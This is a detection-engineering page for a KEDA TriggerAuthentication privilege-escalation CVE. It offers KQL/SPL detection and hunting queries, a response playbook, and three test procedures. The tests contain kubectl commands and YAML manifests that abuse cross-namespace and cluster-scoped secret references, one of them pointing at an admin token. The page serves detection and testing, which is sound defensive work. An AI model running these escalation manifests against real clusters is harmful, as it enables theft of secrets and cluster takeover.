Skip to content
CVE-2026-77524

KEDA TriggerAuthentication Privilege Escalation (CVE-2026-77524)

Privilege Escalation Credential Access Last updated:

Detects exploitation of CVE-2026-77524, a critical (CVSS 9.9) privilege escalation vulnerability in KEDA (Kubernetes Event-Driven Autoscaling). A namespace-scoped admin can abuse KEDA's TriggerAuthentication / ClusterTriggerAuthentication custom resources to force the highly-privileged KEDA operator ServiceAccount to read arbitrary Secrets across namespaces (SSRF-style authentication reference abuse, CWE-918) and leverage its cluster-wide RBAC (CWE-269) to escalate from namespace admin to cluster admin. Affected: github.com/kedacore/keda <= 1.5.0 and github.com/kedacore/keda/v2 < 2.21.0; fixed in v2.21.0. Detection focuses on suspicious TriggerAuthentication/ScaledObject creation referencing secrets or service accounts in foreign namespaces, abnormal KEDA operator ServiceAccount secret reads, and KEDA operator token usage against the Kubernetes API.

Vulnerability Intelligence

Public PoC

What is CVE-2026-77524 KEDA TriggerAuthentication Privilege Escalation (CVE-2026-77524)?

KEDA TriggerAuthentication Privilege Escalation (CVE-2026-77524) (CVE-2026-77524) maps to the Privilege Escalation and Credential Access tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for KEDA TriggerAuthentication Privilege Escalation (CVE-2026-77524), covering the data sources and telemetry it touches: Kubernetes audit logs, Azure Diagnostics (AKS). The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Credential Access
Microsoft Sentinel / Defender
kusto
// df00tech DF00-8b742e5aed · https://df00tech.com/detections/CVE-2026-77524 · licence: https://df00tech.com/detections/licence
// KEDA operator ServiceAccount reading Secrets across namespaces or cross-namespace TriggerAuthentication usage
let kedaSA = dynamic(["system:serviceaccount:keda:keda-operator"]);
AzureDiagnostics
| where Category == "kube-audit"
| extend audit = parse_json(log_s)
| extend verb = tostring(audit.verb),
         resource = tostring(audit.objectRef.resource),
         ns = tostring(audit.objectRef.namespace),
         user = tostring(audit.user.username),
         respCode = toint(audit.responseStatus.code)
| where (resource == "triggerauthentications" or resource == "clustertriggerauthentications" or resource == "scaledobjects")
         and verb in ("create", "update", "patch")
    or (user in (kedaSA) and resource == "secrets" and verb in ("get", "list", "watch"))
| where respCode < 300
| project TimeGenerated, verb, resource, ns, user, SourceIP = tostring(audit.sourceIPs[0]), name = tostring(audit.objectRef.name)
| summarize touchedNamespaces = make_set(ns), count() by user, resource, bin(TimeGenerated, 10m)
| where array_length(touchedNamespaces) > 1 or user in (kedaSA)

Flags TriggerAuthentication/ScaledObject mutations and KEDA operator ServiceAccount secret reads spanning multiple namespaces in Kubernetes audit logs ingested to Sentinel.

critical severity medium confidence

Data Sources

Kubernetes audit logs Azure Diagnostics (AKS)

Required Tables

AzureDiagnostics

False Positives

  • Legitimate KEDA operator reading authentication secrets for autoscalers deployed across many namespaces during normal operation.
  • Platform/GitOps automation bulk-creating ScaledObjects and TriggerAuthentications during cluster bootstrap.
  • KEDA version upgrades that re-reconcile all ScaledObjects and re-read their referenced secrets.

Query fingerprint DF00-8b742e5aed · licence

Sigma logsource & community rules

The detection logic for KEDA TriggerAuthentication Privilege Escalation (CVE-2026-77524) (CVE-2026-77524) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Create cross-namespace TriggerAuthentication referencing foreign secret

    Expected signal: kube-audit create event for triggerauthentications in attacker-ns followed by keda-operator ServiceAccount secret get in victim-ns.

  2. Test 2 Create ClusterTriggerAuthentication for cluster-wide secret abuse

    Expected signal: kube-audit create event for clustertriggerauthentications at cluster scope.

  3. Test 3 Deploy ScaledObject binding malicious TriggerAuthentication

    Expected signal: kube-audit create event for scaledobjects in attacker-ns and subsequent operator reconciliation reading the referenced TriggerAuthentication's secret.


Response Playbook

Triage

  1. Identify the principal that created or modified the TriggerAuthentication/ClusterTriggerAuthentication/ScaledObject and confirm whether it is a namespace-scoped admin rather than a cluster admin or trusted platform automation.
  2. Inspect the offending TriggerAuthentication spec: look for secretTargetRef, hashiCorpVault, or podIdentity references that point at secrets or service accounts in a namespace the creator does not own.
  3. Correlate the creation event with subsequent KEDA operator ServiceAccount (system:serviceaccount:keda:keda-operator) secret 'get'/'list' calls against foreign namespaces within the following minutes.
  4. Check the running KEDA version (kubectl -n keda get deploy keda-operator -o jsonpath='{.spec.template.spec.containers[0].image}') and confirm whether it is < 2.21.0 (or legacy <= 1.5.0) and therefore vulnerable.

Containment

  1. Delete or quarantine the malicious TriggerAuthentication/ClusterTriggerAuthentication and associated ScaledObject, and revoke the offending namespace admin's credentials/bindings.
  2. Upgrade KEDA to >= 2.21.0 immediately; if upgrade is not instant, scale the keda-operator deployment to zero replicas to stop reconciliation of attacker-controlled auth references.
  3. Rotate any Secrets (and derived tokens/credentials) that the KEDA operator ServiceAccount may have read across namespaces during the window of exposure.

Evidence Collection

  1. Export the full Kubernetes API server audit log entries for the KEDA operator ServiceAccount and the suspect user across the incident window.
  2. Capture the YAML of the malicious TriggerAuthentication, ClusterTriggerAuthentication and ScaledObject objects (kubectl get -o yaml) before deletion for forensic retention.
  3. Snapshot the keda-operator pod logs and the operator ServiceAccount's RBAC bindings (ClusterRole/ClusterRoleBinding) to document the privilege reachable via the operator.

Escalation Criteria

  • ! Escalate to incident response if the KEDA operator ServiceAccount successfully read Secrets in namespaces unrelated to the creating user, indicating active cross-namespace credential theft.
  • ! Escalate to critical/cluster-compromise handling if secrets containing cluster-admin tokens, cloud IAM credentials, or kubeconfigs were exposed and may have been used to obtain cluster-admin.
  • ! Escalate if the same principal repeatedly recreates auth objects after deletion or if KEDA cannot be upgraded/stopped promptly.

Investigation Guide

Forensic Artifacts

  • > Kubernetes API server audit log entries for TriggerAuthentication/ScaledObject creation and keda-operator secret reads.
  • > The YAML manifests of the attacker-created TriggerAuthentication/ClusterTriggerAuthentication and ScaledObject custom resources.
  • > keda-operator pod logs showing authentication reference resolution and secret fetches.
  • > etcd/API object metadata (creationTimestamp, managedFields) on the suspect CRDs identifying the creating user.

Tuning Guidance

Baseline which namespaces legitimately run KEDA ScaledObjects and how many the operator normally reads secrets from; raise the namespace-breadth threshold accordingly. Allowlist known GitOps/platform service accounts that create ScaledObjects in bulk. Focus alerting on TriggerAuthentication objects whose secretTargetRef namespace differs from the object's own namespace, and on operator secret reads in namespaces that host no ScaledObject. Once KEDA is upgraded to >= 2.21.0, demote severity but retain the detection to catch downgrade or regression.


Hunting Queries

Hunt for the KEDA operator ServiceAccount reading secrets across an unusually high number of namespaces, indicating abuse of the authentication reference resolution path.

Hunting — KQL
kql
// df00tech DF00-8b742e5aed · https://df00tech.com/detections/CVE-2026-77524 · licence: https://df00tech.com/detections/licence
AzureDiagnostics | where Category == "kube-audit" | extend a=parse_json(log_s) | where tostring(a.user.username)=="system:serviceaccount:keda:keda-operator" and tostring(a.objectRef.resource)=="secrets" | summarize ns=make_set(tostring(a.objectRef.namespace)) by bin(TimeGenerated,1h) | where array_length(ns) > 2
Hunting — SPL
spl
``` df00tech DF00-8b742e5aed · https://df00tech.com/detections/CVE-2026-77524 · licence: https://df00tech.com/detections/licence ```
index=k8s_audit sourcetype="kube:apiserver:audit" user.username="system:serviceaccount:keda:keda-operator" objectRef.resource=secrets | stats dc(objectRef.namespace) as ns by date_hour | where ns>2

Atomic Red Team Tests

Test 1 Create cross-namespace TriggerAuthentication referencing foreign secret
linux

Simulates a namespace admin creating a TriggerAuthentication that references a Secret outside their namespace to trigger operator-side cross-namespace read.

Command

bash
kubectl create namespace victim-ns 2>/dev/null; kubectl -n victim-ns create secret generic sensitive-cred --from-literal=token=supersecret 2>/dev/null; cat <<'EOF' | kubectl -n attacker-ns apply -f -
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata:
  name: escalate-auth
spec:
  secretTargetRef:
  - parameter: token
    name: sensitive-cred
    key: token
EOF

Cleanup

bash
kubectl -n attacker-ns delete triggerauthentication escalate-auth --ignore-not-found; kubectl -n victim-ns delete secret sensitive-cred --ignore-not-found; kubectl delete namespace victim-ns --ignore-not-found

Expected Telemetry

kube-audit create event for triggerauthentications in attacker-ns followed by keda-operator ServiceAccount secret get in victim-ns.

Expected Detection

KQL/SPL rule fires on operator ServiceAccount secret read spanning attacker-ns and victim-ns.

Test 2 Create ClusterTriggerAuthentication for cluster-wide secret abuse
linux

Creates a cluster-scoped ClusterTriggerAuthentication referencing a cluster-admin token secret, abusing the operator's cluster-wide RBAC.

Command

bash
cat <<'EOF' | kubectl apply -f -
apiVersion: keda.sh/v1alpha1
kind: ClusterTriggerAuthentication
metadata:
  name: cluster-escalate
spec:
  secretTargetRef:
  - parameter: token
    name: admin-token
    key: token
EOF

Cleanup

bash
kubectl delete clustertriggerauthentication cluster-escalate --ignore-not-found

Expected Telemetry

kube-audit create event for clustertriggerauthentications at cluster scope.

Expected Detection

Detection matches clustertriggerauthentications create verb in audit logs.

Test 3 Deploy ScaledObject binding malicious TriggerAuthentication
linux

Deploys a ScaledObject that references the malicious TriggerAuthentication, forcing the KEDA operator to resolve the cross-namespace authentication.

Command

bash
cat <<'EOF' | kubectl -n attacker-ns apply -f -
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: escalate-scaler
spec:
  scaleTargetRef:
    name: dummy-deploy
  triggers:
  - type: cpu
    metricType: Utilization
    metadata:
      value: "50"
    authenticationRef:
      name: escalate-auth
EOF

Cleanup

bash
kubectl -n attacker-ns delete scaledobject escalate-scaler --ignore-not-found

Expected Telemetry

kube-audit create event for scaledobjects in attacker-ns and subsequent operator reconciliation reading the referenced TriggerAuthentication's secret.

Expected Detection

Rule flags ScaledObject create correlated with operator secret read.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections